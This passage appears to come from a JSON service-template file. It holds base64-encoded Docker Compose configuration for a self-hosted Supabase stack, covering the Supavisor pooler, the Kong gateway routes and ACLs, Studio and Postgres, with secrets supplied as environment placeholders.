LW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvYXBpL2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPT0xFUl9URU5BTlRfSUQ9ZGV2X3RlbmFudAogICAgICAtIFBPT0xFUl9QT09MX01PREU9dHJhbnNhY3Rpb24KICAgICAgLSAnUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFPSR7UE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFOi0yMH0nCiAgICAgIC0gJ1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk49JHtQT09MRVJfTUFYX0NMSUVOVF9DT05OOi0xMDB9JwogICAgICAtIFBPUlQ9NDAwMAogICAgICAtICdQT1NUR1JFU19QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX0hPU1ROQU1FPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQVRBQkFTRV9VUkw9ZWN0bzovL3N1cGFiYXNlX2FkbWluOiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AJHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9OiR7UE9TVEdSRVNfUE9SVDotNTQzMn0vX3N1cGFiYXNlJwogICAgICAtIENMVVNURVJfUE9TVEdSRVM9dHJ1ZQogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX1NVUEFWSVNPUlNFQ1JFVH0nCiAgICAgIC0gJ1ZBVUxUX0VOQ19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1ZBVUxURU5DfScKICAgICAgLSAnQVBJX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ01FVFJJQ1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBSRUdJT049bG9jYWwKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2Jpbi9zaAogICAgICAtICctYycKICAgICAgLSAnL2FwcC9iaW4vbWlncmF0ZSAmJiAvYXBwL2Jpbi9zdXBhdmlzb3IgZXZhbCAiJCQoY2F0IC9ldGMvcG9vbGVyL3Bvb2xlci5leHMpIiAmJiAvYXBwL2Jpbi9zZXJ2ZXInCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgdGFyZ2V0OiAvZXRjL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgY29udGVudDogIns6b2ssIF99ID0gQXBwbGljYXRpb24uZW5zdXJlX2FsbF9zdGFydGVkKDpzdXBhdmlzb3IpXG57Om9rLCB2ZXJzaW9ufSA9XG4gICAgY2FzZSBTdXBhdmlzb3IuUmVwby5xdWVyeSEoXCJzZWxlY3QgdmVyc2lvbigpXCIpIGRvXG4gICAgJXtyb3dzOiBbW3Zlcl1dfSAtPiBTdXBhdmlzb3IuSGVscGVycy5wYXJzZV9wZ192ZXJzaW9uKHZlcilcbiAgICBfIC0+IG5pbFxuICAgIGVuZFxucGFyYW1zID0gJXtcbiAgICBcImV4dGVybmFsX2lkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfVEVOQU5UX0lEXCIpLFxuICAgIFwiZGJfaG9zdFwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfSE9TVE5BTUVcIiksXG4gICAgXCJkYl9wb3J0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QT1JUXCIpIHw+IFN0cmluZy50b19pbnRlZ2VyKCksXG4gICAgXCJkYl9kYXRhYmFzZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfREJcIiksXG4gICAgXCJyZXF1aXJlX3VzZXJcIiA9PiBmYWxzZSxcbiAgICBcImF1dGhfcXVlcnlcIiA9PiBcIlNFTEVDVCAqIEZST00gcGdib3VuY2VyLmdldF9hdXRoKCQxKVwiLFxuICAgIFwiZGVmYXVsdF9tYXhfY2xpZW50c1wiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX01BWF9DTElFTlRfQ09OTlwiKSxcbiAgICBcImRlZmF1bHRfcG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJkZWZhdWx0X3BhcmFtZXRlcl9zdGF0dXNcIiA9PiAle1wic2VydmVyX3ZlcnNpb25cIiA9PiB2ZXJzaW9ufSxcbiAgICBcInVzZXJzXCIgPT4gWyV7XG4gICAgXCJkYl91c2VyXCIgPT4gXCJwZ2JvdW5jZXJcIixcbiAgICBcImRiX3Bhc3N3b3JkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QQVNTV09SRFwiKSxcbiAgICBcIm1vZGVfdHlwZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX1BPT0xfTU9ERVwiKSxcbiAgICBcInBvb2xfc2l6ZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFXCIpLFxuICAgIFwiaXNfbWFuYWdlclwiID0+IHRydWVcbiAgICB9XVxufVxuXG50ZW5hbnQgPSBTdXBhdmlzb3IuVGVuYW50cy5nZXRfdGVuYW50X2J5X2V4dGVybmFsX2lkKHBhcmFtc1tcImV4dGVybmFsX2lkXCJdKVxuXG5pZiB0ZW5hbnQgZG9cbiAgezpvaywgX30gPSBTdXBhdmlzb3IuVGVuYW50cy51cGRhdGVfdGVuYW50KHRlbmFudCwgcGFyYW1zKVxuZWxzZVxuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLmNyZWF0ZV90ZW5hbnQocGFyYW1zKVxuZW5kXG4iCg==",
+ "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR184MDAwCiAgICAgIC0gJ0tPTkdfUE9SVF9NQVBTPTQ0Mzo4MDAwJwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEtPTkdfREFUQUJBU0U9b2ZmCiAgICAgIC0gS09OR19ERUNMQVJBVElWRV9DT05GSUc9L2hvbWUva29uZy9rb25nLnltbAogICAgICAtICdLT05HX0ROU19PUkRFUj1MQVNULEEsQ05BTUUnCiAgICAgIC0gJ0tPTkdfUExVR0lOUz1yZXF1ZXN0LXRyYW5zZm9ybWVyLGNvcnMsa2V5LWF1dGgsYWNsLGJhc2ljLWF1dGgnCiAgICAgIC0gS09OR19OR0lOWF9QUk9YWV9QUk9YWV9CVUZGRVJfU0laRT0xNjBrCiAgICAgIC0gJ0tPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSUz02NCAxNjBrJwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnREFTSEJPQVJEX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX0FETUlOfScKICAgICAgLSAnREFTSEJPQVJEX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2FwaS9rb25nLnltbAogICAgICAgIHRhcmdldDogL2hvbWUva29uZy90ZW1wLnltbAogICAgICAgIGNvbnRlbnQ6ICJfZm9ybWF0X3ZlcnNpb246ICcyLjEnXG5fdHJhbnNmb3JtOiB0cnVlXG5cbiMjI1xuIyMjIENvbnN1bWVycyAvIFVzZXJzXG4jIyNcbmNvbnN1bWVyczpcbiAgLSB1c2VybmFtZTogREFTSEJPQVJEXG4gIC0gdXNlcm5hbWU6IGFub25cbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9BTk9OX0tFWVxuICAtIHVzZXJuYW1lOiBzZXJ2aWNlX3JvbGVcbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9TRVJWSUNFX0tFWVxuXG4jIyNcbiMjIyBBY2Nlc3MgQ29udHJvbCBMaXN0XG4jIyNcbmFjbHM6XG4gIC0gY29uc3VtZXI6IGFub25cbiAgICBncm91cDogYW5vblxuICAtIGNvbnN1bWVyOiBzZXJ2aWNlX3JvbGVcbiAgICBncm91cDogYWRtaW5cblxuIyMjXG4jIyMgRGFzaGJvYXJkIGNyZWRlbnRpYWxzXG4jIyNcbmJhc2ljYXV0aF9jcmVkZW50aWFsczpcbi0gY29uc3VtZXI6IERBU0hCT0FSRFxuICB1c2VybmFtZTogJERBU0hCT0FSRF9VU0VSTkFNRVxuICBwYXNzd29yZDogJERBU0hCT0FSRF9QQVNTV09SRFxuXG5cbiMjI1xuIyMjIEFQSSBSb3V0ZXNcbiMjI1xuc2VydmljZXM6XG5cbiAgIyMgT3BlbiBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS92ZXJpZnlcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvdmVyaWZ5XG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9jYWxsYmFja1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWNhbGxiYWNrXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9jYWxsYmFja1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tYXV0aG9yaXplXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L2F1dGhvcml6ZVxuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvYXV0aG9yaXplXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIFNlY3VyZSBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjFcbiAgICBfY29tbWVudDogJ0dvVHJ1ZTogL2F1dGgvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5LyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUkVTVCByb3V0ZXNcbiAgLSBuYW1lOiByZXN0LXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9yZXN0L3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlc3QtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVzdC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgR3JhcGhRTCByb3V0ZXNcbiAgLSBuYW1lOiBncmFwaHFsLXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9ncmFwaHFsL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9ycGMvZ3JhcGhxbCdcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWxcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGdyYXBocWwtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZ3JhcGhxbC92MVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IHRydWVcbiAgICAgIC0gbmFtZTogcmVxdWVzdC10cmFuc2Zvcm1lclxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgYWRkOlxuICAgICAgICAgICAgaGVhZGVyczpcbiAgICAgICAgICAgICAgLSBDb250ZW50LVByb2ZpbGU6Z3JhcGhxbF9wdWJsaWNcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFNlY3VyZSBSZWFsdGltZSByb3V0ZXNcbiAgLSBuYW1lOiByZWFsdGltZS12MS13c1xuICAgIF9jb21tZW50OiAnUmVhbHRpbWU6IC9yZWFsdGltZS92MS8qIC0+IHdzOi8vcmVhbHRpbWU6NDAwMC9zb2NrZXQvKidcbiAgICB1cmw6IGh0dHA6Ly9yZWFsdGltZS1kZXY6NDAwMC9zb2NrZXRcbiAgICBwcm90b2NvbDogd3NcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXdzXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvYXBpXG4gICAgcHJvdG9jb2w6IGh0dHBcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9yZWFsdGltZS92MS9hcGlcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU3RvcmFnZSByb3V0ZXM6IHRoZSBzdG9yYWdlIHNlcnZlciBtYW5hZ2VzIGl0cyBvd24gYXV0aFxuICAtIG5hbWU6IHN0b3JhZ2UtdjFcbiAgICBfY29tbWVudDogJ1N0b3JhZ2U6IC9zdG9yYWdlL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHN0b3JhZ2UtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvc3RvcmFnZS92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG5cbiAgIyMgRWRnZSBGdW5jdGlvbnMgcm91dGVzXG4gIC0gbmFtZTogZnVuY3Rpb25zLXYxXG4gICAgX2NvbW1lbnQ6ICdFZGdlIEZ1bmN0aW9uczogL2Z1bmN0aW9ucy92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczo5MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGZ1bmN0aW9ucy12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9mdW5jdGlvbnMvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEFuYWx5dGljcyByb3V0ZXNcbiAgLSBuYW1lOiBhbmFseXRpY3MtdjFcbiAgICBfY29tbWVudDogJ0FuYWx5dGljczogL2FuYWx5dGljcy92MS8qIC0+IGh0dHA6Ly9sb2dmbGFyZTo0MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhbmFseXRpY3MtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYW5hbHl0aWNzL3YxL1xuXG4gICMjIFNlY3VyZSBEYXRhYmFzZSByb3V0ZXNcbiAgLSBuYW1lOiBtZXRhXG4gICAgX2NvbW1lbnQ6ICdwZy1tZXRhOiAvcGcvKiAtPiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogbWV0YS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9wZy9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cblxuICAjIyBQcm90ZWN0ZWQgRGFzaGJvYXJkIC0gY2F0Y2ggYWxsIHJlbWFpbmluZyByb3V0ZXNcbiAgLSBuYW1lOiBkYXNoYm9hcmRcbiAgICBfY29tbWVudDogJ1N0dWRpbzogLyogLT4gaHR0cDovL3N0dWRpbzozMDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2Utc3R1ZGlvOjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBkYXNoYm9hcmQtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBiYXNpYy1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4iCiAgc3VwYWJhc2Utc3R1ZGlvOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdHVkaW86MjAyNS4xMi4xNy1zaGEtNDNmNGY3ZicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAiZmV0Y2goJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcGxhdGZvcm0vcHJvZmlsZScpLnRoZW4oKHIpID0+IHtpZiAoci5zdGF0dXMgIT09IDIwMCkgdGhyb3cgbmV3IEVycm9yKHIuc3RhdHVzKX0pIgogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBIT1NUTkFNRT0wLjAuMC4wCiAgICAgIC0gJ1NUVURJT19QR19NRVRBX1VSTD1odHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwJwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdERUZBVUxUX09SR0FOSVpBVElPTl9OQU1FPSR7U1RVRElPX0RFRkFVTFRfT1JHQU5JWkFUSU9OOi1EZWZhdWx0IE9yZ2FuaXphdGlvbn0nCiAgICAgIC0gJ0RFRkFVTFRfUFJPSkVDVF9OQU1FPSR7U1RVRElPX0RFRkFVTFRfUFJPSkVDVDotRGVmYXVsdCBQcm9qZWN0fScKICAgICAgLSAnU1VQQUJBU0VfVVJMPWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19VUkw9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUtPTkd9JwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnQVVUSF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICAgIC0gJ0xPR0ZMQVJFX1VSTD1odHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19BUEk9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx